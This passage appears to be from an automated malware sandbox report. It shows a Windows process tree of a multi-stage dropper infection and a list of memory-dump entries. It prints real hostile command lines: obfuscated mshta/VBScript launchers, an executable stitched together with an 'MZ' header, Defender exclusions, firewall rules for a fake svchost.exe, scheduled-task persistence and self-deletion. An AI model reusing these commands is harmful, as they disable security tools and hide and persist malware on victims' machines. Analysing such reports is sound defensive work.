                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 664
                                                4⤵
                                                • Program crash
                                                PID:5012
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 676
                                                4⤵
                                                • Program crash
                                                PID:840
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 640
                                                4⤵
                                                • Program crash
                                                PID:4660
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 728
                                                4⤵
                                                • Program crash
                                                PID:3400
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 1120
                                                4⤵
                                                • Program crash
                                                PID:5652
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2884 -s 1112
                                                4⤵
                                                • Program crash
                                                PID:4912
                                            • C:\Users\Admin\Pictures\Adobe Films\bMQVhCU2zyym_WXq4GXhVws9.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\bMQVhCU2zyym_WXq4GXhVws9.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Drops file in Program Files directory
                                              • Suspicious use of SetWindowsHookEx
                                              PID:4928
                                              • C:\Program Files (x86)\Company\NewProduct\cutm3.exe
                                                "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
                                                4⤵
                                                • Executes dropped EXE
                                                • Suspicious use of SetWindowsHookEx
                                                PID:3672
                                            • C:\Users\Admin\Pictures\Adobe Films\yl0mX2uNNB676CwaG3lwQttc.exe
                                              "C:\Users\Admin\Pictures\Adobe Films\yl0mX2uNNB676CwaG3lwQttc.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Suspicious use of SetWindowsHookEx
                                              PID:3568
                                              • C:\Users\Admin\Documents\X5spOF0cnxcoZmjKjzKzVmmO.exe
                                                "C:\Users\Admin\Documents\X5spOF0cnxcoZmjKjzKzVmmO.exe"
                                                4⤵
                                                  PID:5196
                                                  • C:\Users\Admin\Pictures\Adobe Films\ViIvlVz5N_LrQEzmcnrinhf0.exe
                                                    "C:\Users\Admin\Pictures\Adobe Films\ViIvlVz5N_LrQEzmcnrinhf0.exe"
                                                    5⤵
                                                      PID:5652
                                                    • C:\Users\Admin\Pictures\Adobe Films\_0mCLYPahDL9eA4WEyxAsqWv.exe
                                                      "C:\Users\Admin\Pictures\Adobe Films\_0mCLYPahDL9eA4WEyxAsqWv.exe"
                                                      5⤵
                                                        PID:5532
                                                        • C:\Windows\SysWOW64\cmd.exe
                                                          cmd.exe /c taskkill /f /im chrome.exe
                                                          6⤵
                                                            PID:6692
                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                              taskkill /f /im chrome.exe
                                                              7⤵
                                                              • Kills process with taskkill
                                                              PID:6816
                                                        • C:\Users\Admin\Pictures\Adobe Films\WywZc7qJXZTyG9pcN6JJXfdQ.exe
                                                          "C:\Users\Admin\Pictures\Adobe Films\WywZc7qJXZTyG9pcN6JJXfdQ.exe"
                                                          5⤵
                                                            PID:5980
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 656
                                                              6⤵
                                                              • Program crash
                                                              PID:6684
                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5980 -s 672
                                                              6⤵
                                                              • Program crash
                                                              PID:6148
                                                          • C:\Users\Admin\Pictures\Adobe Films\goVgYeTrD9sUywlwEzZLewih.exe
                                                            "C:\Users\Admin\Pictures\Adobe Films\goVgYeTrD9sUywlwEzZLewih.exe"
                                                            5⤵
                                                              PID:5552
                                                            • C:\Users\Admin\Pictures\Adobe Films\q26OGEgUK8ba0DTG89dXeD6A.exe
                                                              "C:\Users\Admin\Pictures\Adobe Films\q26OGEgUK8ba0DTG89dXeD6A.exe"
                                                              5⤵
                                                                PID:5468
                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                  "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\q26OGEgUK8ba0DTG89dXeD6A.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\q26OGEgUK8ba0DTG89dXeD6A.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                  6⤵
                                                                    PID:1052
                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\q26OGEgUK8ba0DTG89dXeD6A.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\q26OGEgUK8ba0DTG89dXeD6A.exe" ) do taskkill -f -iM "%~NxM"
                                                                      7⤵
                                                                        PID:6024
                                                                        • C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
                                                                          ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
                                                                          8⤵
                                                                            PID:6852
                                                                            • C:\Windows\SysWOW64\mshta.exe
                                                                              "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in ( ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )
                                                                              9⤵
                                                                                PID:6228
                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "/PLQtzfgO0m8dRv4iYALOqi " == "" for %M in ( "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
                                                                                  10⤵
                                                                                    PID:6444
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill -f -iM "q26OGEgUK8ba0DTG89dXeD6A.exe"
                                                                                8⤵
                                                                                • Kills process with taskkill
                                                                                PID:6412
                                                                        • C:\Users\Admin\Pictures\Adobe Films\0XDynPnOsieswj1UJ60HJJFt.exe
                                                                          "C:\Users\Admin\Pictures\Adobe Films\0XDynPnOsieswj1UJ60HJJFt.exe"
                                                                          5⤵
                                                                            PID:3236
                                                                          • C:\Users\Admin\Pictures\Adobe Films\i1dYm76nPrIPf8m1VFPFK93p.exe
                                                                            "C:\Users\Admin\Pictures\Adobe Films\i1dYm76nPrIPf8m1VFPFK93p.exe"
                                                                            5⤵
                                                                              PID:2672
                                                                            • C:\Users\Admin\Pictures\Adobe Films\q946LSrzeGH66ttsLyq4jAMm.exe
                                                                              "C:\Users\Admin\Pictures\Adobe Films\q946LSrzeGH66ttsLyq4jAMm.exe"
                                                                              5⤵
                                                                                PID:6596
                                                                                • C:\Users\Admin\AppData\Local\Temp\is-HBELF.tmp\q946LSrzeGH66ttsLyq4jAMm.tmp
                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-HBELF.tmp\q946LSrzeGH66ttsLyq4jAMm.tmp" /SL5="$202A4,506127,422400,C:\Users\Admin\Pictures\Adobe Films\q946LSrzeGH66ttsLyq4jAMm.exe"
                                                                                  6⤵
                                                                                    PID:7104
                                                                                • C:\Users\Admin\Pictures\Adobe Films\laYVbLz6aEfpe5YW5MG7XHfe.exe
                                                                                  "C:\Users\Admin\Pictures\Adobe Films\laYVbLz6aEfpe5YW5MG7XHfe.exe"
                                                                                  5⤵
                                                                                    PID:6588
                                                                                  • C:\Users\Admin\Pictures\Adobe Films\sBkjCb9WcYV3O23KTuHgIo4H.exe
                                                                                    "C:\Users\Admin\Pictures\Adobe Films\sBkjCb9WcYV3O23KTuHgIo4H.exe"
                                                                                    5⤵
                                                                                      PID:6828
                                                                                      • C:\Users\Admin\Pictures\Adobe Films\sBkjCb9WcYV3O23KTuHgIo4H.exe
                                                                                        "C:\Users\Admin\Pictures\Adobe Films\sBkjCb9WcYV3O23KTuHgIo4H.exe" -u
                                                                                        6⤵
                                                                                          PID:6336
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
                                                                                      4⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:5316
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
                                                                                      4⤵
                                                                                      • Creates scheduled task(s)
                                                                                      PID:5284
                                                                                  • C:\Users\Admin\Pictures\Adobe Films\OBpyfqkeJ4PaoP7dGQFpi38p.exe
                                                                                    "C:\Users\Admin\Pictures\Adobe Films\OBpyfqkeJ4PaoP7dGQFpi38p.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:984
                                                                                  • C:\Users\Admin\Pictures\Adobe Films\sFb6n6w33ufFu86NJBPKTYDI.exe
                                                                                    "C:\Users\Admin\Pictures\Adobe Films\sFb6n6w33ufFu86NJBPKTYDI.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:4852
                                                                                  • C:\Users\Admin\Pictures\Adobe Films\gc7nmtL1lA4egc7fPDgmuWQc.exe
                                                                                    "C:\Users\Admin\Pictures\Adobe Films\gc7nmtL1lA4egc7fPDgmuWQc.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:1608
                                                                                  • C:\Users\Admin\Pictures\Adobe Films\_ny11kd9rMqP4o8475MVHgGH.exe
                                                                                    "C:\Users\Admin\Pictures\Adobe Films\_ny11kd9rMqP4o8475MVHgGH.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    • Checks whether UAC is enabled
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    PID:2240
                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
                                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
                                                                                      4⤵
                                                                                        PID:5008
                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2240 -s 556
                                                                                        4⤵
                                                                                        • Program crash
                                                                                        PID:4116
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\axB4QQOU4_xo1ZPXTcX60lOx.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\axB4QQOU4_xo1ZPXTcX60lOx.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:4944
                                                                                    • C:\Users\Admin\Pictures\Adobe Films\8bWapvRAb7qovBVnZ7ZyhwZj.exe
                                                                                      "C:\Users\Admin\Pictures\Adobe Films\8bWapvRAb7qovBVnZ7ZyhwZj.exe"
                                                                                      3⤵
                                                                                      • Executes dropped EXE
                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                      PID:4956
                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                        4⤵
                                                                                          PID:924
                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                          4⤵
                                                                                            PID:5072
                                                                                          • C:\Windows\System32\netsh.exe
                                                                                            "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                            4⤵
                                                                                              PID:2576
                                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                                              schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
                                                                                              4⤵
                                                                                              • Creates scheduled task(s)
                                                                                              PID:1420
                                                                                            • C:\Windows\System\svchost.exe
                                                                                              "C:\Windows\System\svchost.exe" formal
                                                                                              4⤵
                                                                                                PID:5044
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
                                                                                                  5⤵
                                                                                                  • Modifies Internet Explorer settings
                                                                                                  • Modifies registry class
                                                                                                  PID:2128
                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
                                                                                                  5⤵
                                                                                                    PID:5156
                                                                                                  • C:\Windows\System32\netsh.exe
                                                                                                    "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                    5⤵
                                                                                                      PID:5216
                                                                                                    • C:\Windows\System32\netsh.exe
                                                                                                      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                      5⤵
                                                                                                        PID:5288
                                                                                                    • C:\Windows\System32\netsh.exe
                                                                                                      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
                                                                                                      4⤵
                                                                                                        PID:2244
                                                                                                    • C:\Users\Admin\Pictures\Adobe Films\LWpNL4AWw7f_tm5DL0bWjHlt.exe
                                                                                                      "C:\Users\Admin\Pictures\Adobe Films\LWpNL4AWw7f_tm5DL0bWjHlt.exe"
                                                                                                      3⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:2620
                                                                                                      • C:\Users\Admin\AppData\Roaming\3417839.exe
                                                                                                        "C:\Users\Admin\AppData\Roaming\3417839.exe"
                                                                                                        4⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        PID:4776
                                                                                                      • C:\Users\Admin\AppData\Roaming\8495914.exe
                                                                                                        "C:\Users\Admin\AppData\Roaming\8495914.exe"
                                                                                                        4⤵
                                                                                                          PID:2408
                                                                                                          • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                            5⤵
                                                                                                              PID:4816
                                                                                                          • C:\Users\Admin\AppData\Roaming\5084904.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\5084904.exe"
                                                                                                            4⤵
                                                                                                            • Executes dropped EXE
                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                            PID:3400
                                                                                                          • C:\Users\Admin\AppData\Roaming\5183314.exe
                                                                                                            "C:\Users\Admin\AppData\Roaming\5183314.exe"
                                                                                                            4⤵
                                                                                                              PID:5012
                                                                                                            • C:\Users\Admin\AppData\Roaming\428749.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\428749.exe"
                                                                                                              4⤵
                                                                                                                PID:5368
                                                                                                              • C:\Users\Admin\AppData\Roaming\5223059.exe
                                                                                                                "C:\Users\Admin\AppData\Roaming\5223059.exe"
                                                                                                                4⤵
                                                                                                                  PID:5504
                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                    "C:\Windows\System32\mshta.exe" VbscRIpT: cLosE ( cREaTeOBjeCT ( "wsCriPT.sHELl" ). rUN ( "Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Roaming\5223059.exe"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If """"== """" for %k In ( ""C:\Users\Admin\AppData\Roaming\5223059.exe"" ) do taskkill /F /Im ""%~Nxk"" " , 0 , trUE) )
                                                                                                                    5⤵
                                                                                                                      PID:5172
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Roaming\5223059.exe"> kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ& If ""== "" for %k In ( "C:\Users\Admin\AppData\Roaming\5223059.exe" ) do taskkill /F /Im "%~Nxk"
                                                                                                                        6⤵
                                                                                                                          PID:5944
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE
                                                                                                                            kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ
                                                                                                                            7⤵
                                                                                                                              PID:2764
                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                "C:\Windows\System32\mshta.exe" VbscRIpT: cLosE ( cREaTeOBjeCT ( "wsCriPT.sHELl" ). rUN ( "Cmd.exe /q /c Type ""C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"" > kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ & If ""/P6l3hjJm2mK1sJpxUmLJ""== """" for %k In ( ""C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"" ) do taskkill /F /Im ""%~Nxk"" " , 0 , trUE) )
                                                                                                                                8⤵
                                                                                                                                  PID:5664
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /q /c Type "C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE"> kSTw_GRvR1eDFi.EXE && StARt kStW_grVR1EDFi.exE /P6l3hjJm2mK1sJpxUmLJ& If "/P6l3hjJm2mK1sJpxUmLJ"== "" for %k In ( "C:\Users\Admin\AppData\Local\Temp\kSTw_GRvR1eDFi.EXE" ) do taskkill /F /Im "%~Nxk"
                                                                                                                                    9⤵
                                                                                                                                      PID:1600
                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                    "C:\Windows\System32\mshta.exe" VBscrIPT: cLOSE ( cREATEobjeCt ( "WSCRIPt.SheLL" ). ruN ( "C:\Windows\system32\cmd.exe /q /C echo %DatE%cl1V> 8KyK.ZNp & Echo | sET /P = ""MZ"" > hXUPL.XH & CoPY /b /Y HXUPL.XH + QR7i5Ur.BRU + wZfTO2F9.TkR + 3W6U.X2 + 8Kyk.ZNp GkQ1GTV.ZNM & StArT control .\GKq1GTV.ZnM " , 0 , TrUe ) )
                                                                                                                                    8⤵
                                                                                                                                      PID:5176
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        "C:\Windows\system32\cmd.exe" /q /C echo ÚtE%cl1V> 8KyK.ZNp & Echo | sET /P = "MZ" >hXUPL.XH & CoPY /b /Y HXUPL.XH +QR7i5Ur.BRU + wZfTO2F9.TkR + 3W6U.X2 + 8Kyk.ZNp GkQ1GTV.ZNM& StArT control .\GKq1GTV.ZnM
                                                                                                                                        9⤵
                                                                                                                                          PID:5284
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /S /D /c" Echo "
                                                                                                                                            10⤵
                                                                                                                                              PID:6756
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /S /D /c" sET /P = "MZ" 1>hXUPL.XH"
                                                                                                                                              10⤵
                                                                                                                                                PID:6764
                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                          taskkill /F /Im "5223059.exe"
                                                                                                                                          7⤵
                                                                                                                                          • Kills process with taskkill
                                                                                                                                          PID:2104
                                                                                                                                  • C:\Users\Admin\AppData\Roaming\8889557.exe
                                                                                                                                    "C:\Users\Admin\AppData\Roaming\8889557.exe"
                                                                                                                                    4⤵
                                                                                                                                      PID:5580
                                                                                                                                  • C:\Users\Admin\Pictures\Adobe Films\aJyWvwedxISzyH8pdMXVhnvv.exe
                                                                                                                                    "C:\Users\Admin\Pictures\Adobe Films\aJyWvwedxISzyH8pdMXVhnvv.exe"
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                    PID:412
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\aJyWvwedxISzyH8pdMXVhnvv.exe" & exit
                                                                                                                                      4⤵
                                                                                                                                        PID:5668
                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                          timeout /t 5
                                                                                                                                          5⤵
                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                          PID:6056
                                                                                                                                • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                  1⤵
                                                                                                                                  • Process spawned unexpected child process
                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                  PID:956
                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                    rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                    2⤵
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Modifies registry class
                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                    PID:2196
                                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                  1⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Modifies registry class
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:2128
                                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                  1⤵
                                                                                                                                    PID:2316

                                                                                                                                  Network

                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                  Replay Monitor

                                                                                                                                  Loading Replay Monitor...

                                                                                                                                  Downloads

                                                                                                                                  • memory/352-212-0x000001F6210B0000-0x000001F6210B2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/352-214-0x000001F6210B0000-0x000001F6210B2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/352-235-0x000001F621A70000-0x000001F621AE2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/872-163-0x00000000050C0000-0x00000000050C1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/872-146-0x00000000005E0000-0x00000000005E1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1032-221-0x000001BCF49B0000-0x000001BCF49B2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1032-222-0x000001BCF49B0000-0x000001BCF49B2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1032-244-0x000001BCF4CC0000-0x000001BCF4D32000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/1184-219-0x0000026B16510000-0x0000026B16512000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1184-220-0x0000026B16510000-0x0000026B16512000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1184-242-0x0000026B16C80000-0x0000026B16CF2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/1204-228-0x0000020DFADD0000-0x0000020DFADD2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1204-227-0x0000020DFADD0000-0x0000020DFADD2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1204-249-0x0000020DFB610000-0x0000020DFB682000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-390-0x0000000002580000-0x0000000002581000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-395-0x0000000002600000-0x0000000002601000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-398-0x00000000025C0000-0x00000000025C1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-367-0x00000000023F0000-0x00000000023F1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-376-0x00000000025B0000-0x00000000025B1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-308-0x00000000022E0000-0x0000000002340000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    384KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-399-0x00000000032B0000-0x00000000032B1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-402-0x00000000032A0000-0x00000000032A1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-401-0x00000000032A0000-0x00000000032A1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-394-0x0000000000400000-0x00000000007BB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.7MB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-356-0x00000000025A0000-0x00000000025A1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-392-0x0000000000400000-0x00000000007BB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.7MB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-371-0x0000000000870000-0x00000000009BA000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    1.3MB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-383-0x0000000002460000-0x0000000002461000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-400-0x00000000032A0000-0x00000000032A1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-389-0x0000000002590000-0x0000000002591000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1364-386-0x00000000025D0000-0x00000000025D1000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    4KB

                                                                                                                                    Download

                                                                                                                                  • memory/1412-251-0x00000232CAAD0000-0x00000232CAB42000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/1412-229-0x00000232CA390000-0x00000232CA392000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1412-230-0x00000232CA390000-0x00000232CA392000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1424-223-0x0000028747300000-0x0000028747302000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1424-224-0x0000028747300000-0x0000028747302000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    8KB

                                                                                                                                    Download

                                                                                                                                  • memory/1424-246-0x0000028747C00000-0x0000028747C72000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    456KB

                                                                                                                                    Download

                                                                                                                                  • memory/1720-404-0x0000000077720000-0x00000000778AE000-memory.dmp

                                                                                                                                    Filesize

